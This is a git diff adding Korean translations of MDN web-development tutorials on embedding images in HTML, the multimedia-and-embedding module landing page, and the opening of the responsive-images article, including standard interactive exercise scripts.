+ <li>사용자가 시각적인 장애를 가지고 있는 경우 <a href="https://en.wikipedia.org/wiki/Screen_reader">screen reader</a>가 그 내용을 읽어줄 수 있을 것이다. 사실 alt를 가지고 있다는 것만으로 대부분의 사용자들에게 도움이 될 수 있다.</li>
+ <li>위에서 살펴봤듯이, 파일명을 잘못 적거나 path를 잘못 적었을 수도 있다.</li>
+ <li>아직까지도 텍스트만 지원되는 브라우저(예를 들면 : <a href="https://en.wikipedia.org/wiki/Lynx_%28web_browser%29">Lynx</a>)를 사용하는 사용자들이 있기 때문에 이미지 지원이 안되는 사용자들도 있다.</li>
+ <li>텍스트를 제공하여 검색엔진이 이를 활용할 수 있도록 할 수 있다. 예를 들어, 검색엔진의 검색 query가 alt 텍스트와 일치할 수 있을 것이다.</li>
+ <li>사용자가 데이터 통신량과 방해요소를 줄이기 위해 고의적으로 이미지를 꺼 놓았을 수도 있다. 이러한 현상은 휴대기기 사용자들에게서 많이 나타나며 대역폭이 비싸거나 제한된 지역에서도 나타난다.</li>
+</ul>
+
+<p>그렇다면 <code>alt</code> 안에 정확히 무엇을 써야될까? 그 내용은 이미지가 <em>왜</em> 사용되었는지에 따라 다르다. 다른말로 해서, 이미지가 나타나지 않으면:</p>
+
+<ul>
+ <li><strong>장식. </strong>You should use {{anch("CSS background images")}} for decorative images, but if you must use HTML, add a blank <code>alt=""</code>. If the image isn't part of the content, a screen reader shouldn't waste time reading it.</li>
+ <li><strong>내용. </strong>If your image provides significant information, provide the same information in a <em>brief </em><code>alt</code> text – or even better, in the main text which everybody can see. Don't write redundant <code>alt</code> text. How annoying would it be for a sighted user if all paragraphs were written twice in the main content? If the image is described adequately by the main text body, you can just use <code>alt=""</code>.</li>
+ <li><strong>링크.</strong> If you put an image inside {{htmlelement("a")}} tags, to turn an image into a link, you still must provide <a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Use_clear_link_wording">accessible link text</a>. In such cases you may, either, write it inside the same <code>&lt;a&gt;</code> element, or inside the image's <code>alt</code> attribute – whichever works best in your case.</li>
+ <li><strong>텍스트.</strong> 텍스트는 이미지로 나타내면 안된다. 메인 헤딩이 drop shadow가 필요하다면 이미지로 넣는 방법 대신에 <a href="/en-US/docs/Web/CSS/text-shadow">CSS</a>를 사용하도록 하자. 최후의 수단으로 이미지를 사용해야된다면 <code>alt</code> 속성에 설명을 적어두길 바란다.</li>
+</ul>
+
+<p>기본적으로, 이미지가 나타나지 않을 때, 사용자에게 충분할 설명을 제공하는 것이 목적이다. 이러한 방법을 통해 사용자가 이미지를 보지 않고도 내용을 충분히 전달 받을 수 있다. 이미지를 브라우저에서 끄고 어떻게 나타나는지 관찰해보자. 이미지가 나타나지 않을 때 alt의 소중함을 깨닫게 될 것이다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 더 자세한 정보를 얻길 원하다면 <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text Alternatives</a>를 클릭.</p>
+</div>
+
+<h3 id="Width_and_height">Width and height</h3>
+
+<p><code>width</code> 와 <code>height</code> 속성을 통해 이미지의 크기를 조정할 수 있다. 이미지의 크기를 알아내는 몇가지 방법이 있는데 Mac은 <kbd>Cmd</kbd> + <kbd>I</kbd> 를 통해 이미지 정보를 볼 수 있다. 예제로 돌아와서, 우리는 이렇게 해볼 수 있다:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"&gt;</pre>
+
+<p>평범한 경우에 위와 같은 방법은 디스플레이에 큰 차이를 주지 않는다. 그러나 만약에 이미지가 로딩중이어서 아직 페이지에 안나타나더라도 브라우저는 지정된 크기의 공간을 이미지를 위해 할당해둔다:</p>
+
+<p><img alt="The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings" src="https://mdn.mozillademos.org/files/12706/alt-text-with-width-height.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>이미지 크기를 지정해두는 것은 좋은 습관이며 이를 통해, 페이지가 더 빠르고 순조롭게 로딩될 수 있다.</p>
+
+<p>그러나 HTML 속성을 통해 이미지의 크기를 조정하는 것은 바람직하지 않다. 이미지 크기를 원본보다 크게 잡으면 원하지 않는 방향으로 나타날 수 있으며 사용자의 필요에 맞지 않는 불필요한 대역폭을 사용할 수도 있다. 또한, <a href="https://en.wikipedia.org/wiki/Aspect_ratio_%28image%29">aspect ratio</a>를 지키지 않으면 이미지가 왜곡되어 나타날 수도 있다. 이미지 편집기를 통해서 크기를 변경한 후에 웹페이지에 올리는 것이 바람직하다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이미지 크기를 변경해야 한다면 <a href="/en-US/docs/Learn/CSS">CSS</a> 를 사용하도록 하자.</p>
+</div>
+
+<h3 id="Image_titles">Image titles</h3>
+
+<p>As <a href="https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Adding_supporting_information_with_%3Ctitle%3E">with links</a>, you can also add <code>title</code> attributes to images, to provide further supporting information if needed. In our example, we could do this:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"
+     title="A T-Rex on display in the Manchester University Museum"&gt;</pre>
+
+<p>This gives us a tooltip, just like link titles:</p>
+
+<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p>
+
+<p>Image titles aren't essential to include. It is often better to include such supporting information in the main article text, rather than attached to the image. However, they are useful in some circumstances; for example, in an image gallery when you have no space for captions.</p>
+
+<h3 id="Active_learning_embedding_an_image">Active learning: embedding an image</h3>
+
+<p>It is now your turn to play! This active learning section will have you up and running with a simple embedding exercise. You are provided with a basic {{htmlelement("img")}} tag; we'd like you to embed the image located at the following URL:</p>
+
+<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p>
+
+<p>Earlier we said to never hotlink to images on other servers, but this is just for learning purposes, so we'll let you off this one time.</p>
+
+<p>We would also like you to:</p>
+
+<ul>
+ <li>Add some alt text, and check that it works by misspelling the image URL.</li>
+ <li>Set the image's correct <code>width</code> and <code>height</code> (hint; it is 200px wide and 171px high), then experiment with other values to see what the effect is.</li>
+ <li>Set a <code>title</code> on the image.</li>
+</ul>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see an answer:</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+&lt;img&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum"&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Annotating_images_with_figures_and_figure_captions">Annotating images with figures and figure captions</h2>
+
+<p>Speaking of captions, there are a number of ways that you could add a caption to go with your image. For example, there would be nothing to stop you doing this:</p>
+
+<pre class="brush: html notranslate">&lt;div class="figure"&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341"&gt;
+
+  &lt;p&gt;A T-Rex on display in the Manchester University Museum.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>This is ok. It contains the content you need, and is nicely stylable using CSS. But there is a problem here: there is nothing that semantically links the image to its caption, which can cause problems for screen readers. For example, when you have 50 images and captions, which caption goes with which image?</p>
+
+<p>A better solution, is to use the HTML5 {{htmlelement("figure")}} and {{htmlelement("figcaption")}} elements. These are created for exactly this purpose: to provide a semantic container for figures, and clearly link the figure to the caption. Our above example could be rewritten like this:</p>
+
+<pre class="notranslate">&lt;figure&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341"&gt;
+
+  &lt;figcaption&gt;A T-Rex on display in the Manchester University Museum.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>The {{htmlelement("figcaption")}} element tells browsers, and assistive technology that the caption describes the other content of the {{htmlelement("figure")}} element.</p>
+
+<div class="note">
+<p><strong>Note</strong>: From an accessibility viewpoint, captions and {{htmlattrxref('alt','img')}} text have distinct roles. Captions benefit even people who can see the image, whereas {{htmlattrxref('alt','img')}} text provides the same functionality as an absent image. Therefore, captions and <code>alt</code> text shouldn't just say the same thing, because they both appear when the image is gone. Try turning images off in your browser and see how it looks.</p>
+</div>
+
+<p>A figure doesn't have to be an image. It is an independent unit of content that:</p>
+
+<ul>
+ <li>Expresses your meaning in a compact, easy-to-grasp way.</li>
+ <li>Could go in several places in the page's linear flow.</li>
+ <li>Provides essential information supporting the main text.</li>
+</ul>
+
+<p>A figure could be several images, a code snippet, audio, video, equations, a table, or something else.</p>
+
+<h3 id="Active_learning_creating_a_figure">Active learning: creating a figure</h3>
+
+<p>In this active learning section, we'd like you to take the finished code from the previous active learning section, and turn it into a figure:</p>
+
+<ul>
+ <li>Wrap it in a {{htmlelement("figure")}} element.</li>
+ <li>Copy the text out of the <code>title</code> attribute, remove the <code>title</code> attribute, and put the text inside a {{htmlelement("figcaption")}} element below the image.</li>
+</ul>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see an answer:</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;figure&gt;\n &lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"&gt;\n &lt;figcaption&gt;A T-Rex on display in the Manchester University Museum&lt;/figcaption&gt;\n&lt;/figure&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="CSS_background_images">CSS background images</h2>
+
+<p>You can also use CSS to embed images into webpages (and JavaScript, but that's another story entirely). The CSS {{cssxref("background-image")}} property, and the other <code>background-*</code> properties, are used to control background image placement. For example, to place a background image on every paragraph on a page, you could do this:</p>
+
+<pre class="brush: css notranslate">p {
+  background-image: url("images/dinosaur.jpg");
+}</pre>
+
+<p>The resulting embedded image, is arguably easier to position and control than HTML images. So why bother with HTML images? As hinted to above, CSS background images are for decoration only. If you just want to add something pretty to your page to enhance the visuals, this is fine. Though, such images have no semantic meaning at all. They can't have any text equivalents, are invisible to screen readers, etc. This is HTML images time to shine!</p>
+
+<p>Summing up: if an image has meaning, in terms of your content, you should use an HTML image. If an image is purely decoration, you should use CSS background images.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You'll learn a lot more about <a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">CSS background images</a> in our <a href="/en-US/docs/Learn/CSS">CSS</a> topic.</p>
+</div>
+
+<p>That's all for now. We have covered images and captions in detail. In the next article we'll move it up a gear, looking at how to use HTML to embed video and audio in web pages.</p>
+
+<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From &lt;object&gt; to &lt;iframe&gt; — other embedding technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li>
+</ul>
diff --git a/files/ko/learn/html/multimedia_and_embedding/index.html b/files/ko/learn/html/multimedia_and_embedding/index.html
new file mode 100644
index 0000000000..33a3bf4aad
--- /dev/null
+++ b/files/ko/learn/html/multimedia_and_embedding/index.html
@@ -0,0 +1,77 @@
+---
+title: Multimedia and embedding
+slug: Learn/HTML/Multimedia_and_embedding
+tags:
+  - Assessment
+  - Audio
+  - Beginner
+  - CodingScripting
+  - Flash
+  - Guide
+  - HTML
+  - Images
+  - Landing
+  - Learn
+  - NeedsTranslation
+  - SVG
+  - TopicStub
+  - Video
+  - iframes
+  - imagemaps
+  - responsive
+translation_of: Learn/HTML/Multimedia_and_embedding
+---
+<p>{{LearnSidebar}}</p>
+
+<p class="summary">우리는 이 과정에서 지금까지 많은 텍스트를 살펴 봤지만 텍스트만을 사용한 웹은 따분합니다. 보다 흥미로운 내용으로 웹을 생생하게 만드는 방법을 살펴 보도록 합시다! 여기에서는 HTML을 사용하여 이미지를 포함 할 수있는 다양한 방법과 비디오, 오디오 및 웹 페이지 전체를 포함하는 방법을 비롯하여 웹 페이지에 멀티미디어를 포함하는 방법을 살펴 보도록 하겠습니다.</p>
+
+<h2 id="전제조건">전제조건</h2>
+
+<p>이 단원을 시작하기 전에 앞서 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML소개</a>에서 설명한대로 HTML에 대한 기본 지식이 있어야합니다. 이 모듈 (또는 이와 비슷한 것)을 사용해 보지 않았다면, 처음부터 다시 시작후 돌아오세요!</p>
+
+<div class="note">
+<p><strong>Note</strong>:  자신만의  파일을 만들수 없는 컴퓨터/테블릿/그외 기기에서 작업하는 경우, 코드 예제를 (대부분을) <a href="https://jsbin.com/">JSBin</a> 이나 <a href="https://thimble.mozilla.org/">Thimble</a>같은 온라인 코딩 프로그램을 통해 수행해 볼 수 있습니다</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<p>이 단원에는 웹 페이지에 멀티미디어를 삽입하는 모든 기본 사항을 설명하는 다음 문서가 포함되어 있습니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML 이미지</a></dt>
+ <dd>여기에는 고려해야할 다른 종류의 멀티미디어들이 있지만, 간단한 이미지를 웹페이지에 삽입하는데 사용되는 일반적인 {{htmlelement("img")}} 엘리먼트를 사용하는것이 합리적입니다. 이번 내용에서는  {{htmlelement("figure")}} 사용하여, 기본적인 내용 및 캡션을 주석으로 추가하는 방법, CSS 배경 이미지와의 관계에 대해 자세히 다룰 것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">비디오와 오디오 컨텐츠</a></dt>
+ <dd>다음으로, {{htmlelement("video")}} 와{{htmlelement("audio")}} 엘리먼트를 사용하여 페이지에 비디오 및 오디오를 포함하는 방법을 살펴 보겠습니다. 기본기능을 포함, 여러종류의 브라우저에 다양한 파일 포맷에 접근하는 법, 캡션 및 자막 추가, 구형 브라우저에 대한 폴백 (fallback) 추가 방법 등 다양한 기능을 제공합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">&lt;object&gt; 로부터 &lt;iframe&gt;까지 —  기타 임베딩 기술</a></dt>
+ <dd>여기서는 웹 페이지에 다양한 콘텐츠 유형을 삽입 할 수있게 해주는 몇가지 추가적인 요소를 살펴봅니다 :  {{htmlelement("iframe")}}, {{htmlelement("embed")}} 그리고 {{htmlelement("object")}} 엘리먼트입니다. <code>&lt;iframe&gt;</code>은 다른 웹 페이지를 삽입하기위한 것이고, 나머지 두 개는 PDF, SVG 및 플래시까지 포함 할 수 있습니다. — 이 기술들은 사라지는 중이지만 여전히 볼수 있을것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Vector graphics 웹에 추가하기</a></dt>
+ <dd>Vector graphics 는 특정한 상황에서 매우 유용할 수 있습니다. Vector graphics 는 <span style="font-size: 1rem; letter-spacing: -0.00278rem;">PNG/JPG와 같은 일반적인 형식과 달리 확대 시 왜곡/픽셀레이트가 발생하지 않으며, 스케일링 시 매끄러운 상태를 유지할 수 있습니다. 이 글에서는 Vector graphics 가 무엇인지, 웹 페이지에 인기 있는 </span> {{glossary("SVG")}} <span style="font-size: 1rem; letter-spacing: -0.00278rem;">포맷을 포함시키는 방법에 대해 소개합니다.</span></dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images(반응형 이미지)</a></dt>
+ <dd>
+ <p>휴대전화에서 데스크톱 컴퓨터에 이르기까지, 웹을 검색할 수 있는 매우 다양한 유형의 장치들로 인해서 형성된 현대 웹 세계를 마스터하기 위한 필수적인 개념은 반응형 디자인입니다. 이는 다양한 화면 크기, 해상도 등에 맞춰 기능을 자동으로 변경할 수 있는 웹 페이지를 만드는 것을 말합니다. 이것은 나중에 CSS 모듈에서 훨씬 더 자세히 살펴보겠지만, 현재로서는 HTML이 {{htmlelement("picture")}} 요소를 포함하여 반응형 이미지를 만드는 데 사용할 수 있는 도구를 살펴보기로 하겠습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>아래의 평가는 위의 가이드에서 다루는 HTML 기본 사항에 대한 이해를 테스트합니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></dt>
+ <dd>
+ <p>이 평가에서, 우리는 당신이 Mozilla 에 관한 모든 펑키한 스플래시 페이지에 몇 개의 이미지와 비디오를 추가하도록 하며, 이 모듈의 기사에서 논의된 몇 가지 기술에 대하여 당신의 지식을 테스트할 것입니다!</p>
+ </dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">이미지 위에 히트맵 추가</a></dt>
+ <dd>
+ <p>이미지 맵은 이미지 링크의 다른 부분을 다른 곳에 연결하는 메커니즘을 제공합니다(당신이 클릭하는 각 나라에 대한 추가 정보들과 연결되는 지도를 생각해 봅시다). 이 기술은 때때로 유용하게 활용될 수 있습니다.</p>
+ </dd>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">Web literacy basics 2</a></dt>
+ <dd>
+ <p>An excellent Mozilla foundation course that explores and tests some of the skills talked about in the <em>Multimedia and embedding</em> module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).</p>
+ </dd>
+</dl>
diff --git a/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html
new file mode 100644
index 0000000000..14ecf00e1f
--- /dev/null
+++ b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html
@@ -0,0 +1,261 @@
+---
+title: 반응형 이미지
+slug: Learn/HTML/Multimedia_and_embedding/Responsive_images
+translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div>
+<p class="summary">이 글에서 우리는 반응형 이미지(Responsive images)의 — 해상도, 스크린 크기 등이 다른 수많은 기기들에서 정상적으로 표시되는 이미지 — 개념과 구현을 위해 HTML에서 제공하는 도구에 대해 배울 것이다. 반응형 이미지는, 이후에 여러분이 배워야 할 CSS 과정 중 <a href="https://developer.mozilla.org/ko/docs/Learn/CSS">반응형 웹 디자인</a>의 일부이다.</p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td><a href="https://developer.mozilla.org/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 기본 태그</a>, <a href="https://developer.mozilla.org/ko/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">이미지를 웹페이지에 넣는 방법</a></td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>웹사이트에서 반응형 이미지를 구현하기 위해 사용하는 {{htmlattrxref("srcset", "img")}}이나 {{htmlelement("picture")}} 요소 같은 기능의 사용법을 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="반응형_이미지를_사용하는_이유">반응형 이미지를 사용하는 이유?</h2>
+
+<p>일반적인 웹 사이트를 떠올려 보라. 헤더 이미지가 있을 것이고, 헤더 이후 본문에는 이미지가 몇 개 있을 것이다. 헤더 이미지는 헤더의 전체 가로 너비를 자치할 것이고, 본문 이미지는 본문 영역 안에서 어느 정도를 차지할 것이다. 아래 사이트의 이미지 처럼 말이다.</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"></p>
+
+<p>노트북이나 데스크톱처럼 화면이 넓은 기기에서는 잘 작동할 것이다(<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">실제 예시는 여기에 있고</a>, Github에서 <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">소스코드</a>를 볼 수 있다.) CSS에 대해 너무 깊이 들어가고 싶진 않지만, 이정도는 이야기하자.</p>
+
+<ul>
+ <li>사이트 전체 너비는 최대 1200픽셀이다. 뷰포트가 1200픽셀이 넘는 경우 남는 공간 안에서 가운데 정렬된다. 1200픽셀 이하 뷰포트에서는 뷰포트 전체 너비의 100%가 된다.</li>
+ <li>헤더 이미지는, 너비가 얼마든간에 언제나 헤더의 가운데 오게 설정했다. 좁은 화면에서 본다면, 이미지의 가운데 있는 가장 중요한 부분(사람들)은 여전히 보인다. 그리고 나머지 좌우 부분은 보이지 않는다. 높이는 200픽셀이다.</li>
+ <li>본문 이미지는 웹사이트 너비가 이미지보다 작아지면, 줄어들기 시작해 삐져나가지 않고 언제나 사이트 너비 안에 있게 된다.</li>
+</ul>
+
+<p>그러나, 좁은 화면 기기로 사이트를 보기 시작하면 문제가 생긴다. 헤더는 괜찮아 보이지만, 모바일 기기에서는 화면 높이를 너무 많이 차지하기 시작한다. 이 사이즈에서는, 본문 첫번째 사진의 사람들이 나타나기 어렵다.</p>
+
+<p><img alt="Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it." src="https://mdn.mozillademos.org/files/12936/non-responsive-narrow.png" style="display: block; height: 793px; margin: 0px auto; width: 320px;"></p>
+
+<p>개선책은 좁은 화면에서 사이트를 볼 때 이미지의 중요한 상세를 보여 주는 자른 이미지를 보여 주는 것이다. 또 다르게 자른 이미지를 태블릿처럼 중간 정도 너비 화면의 기기에서 보여줄 수 있을 것이다. 이를 보통 <strong>아트 디렉션 문제(art direction problem)</strong>라고 한다. [아트 디렉션은 ‘연출 방향’ 정도로 번역할 수 있을 듯한데, 보통은 용어를 그대로 사용한다. 반응형 이미지에서는 이미지의 의도가 제대로 전달되도록 기기에 따라 사진의 핵심을 확대해서 보여 주거나 하는 방식을 의미한다. - 역자 주]</p>
+
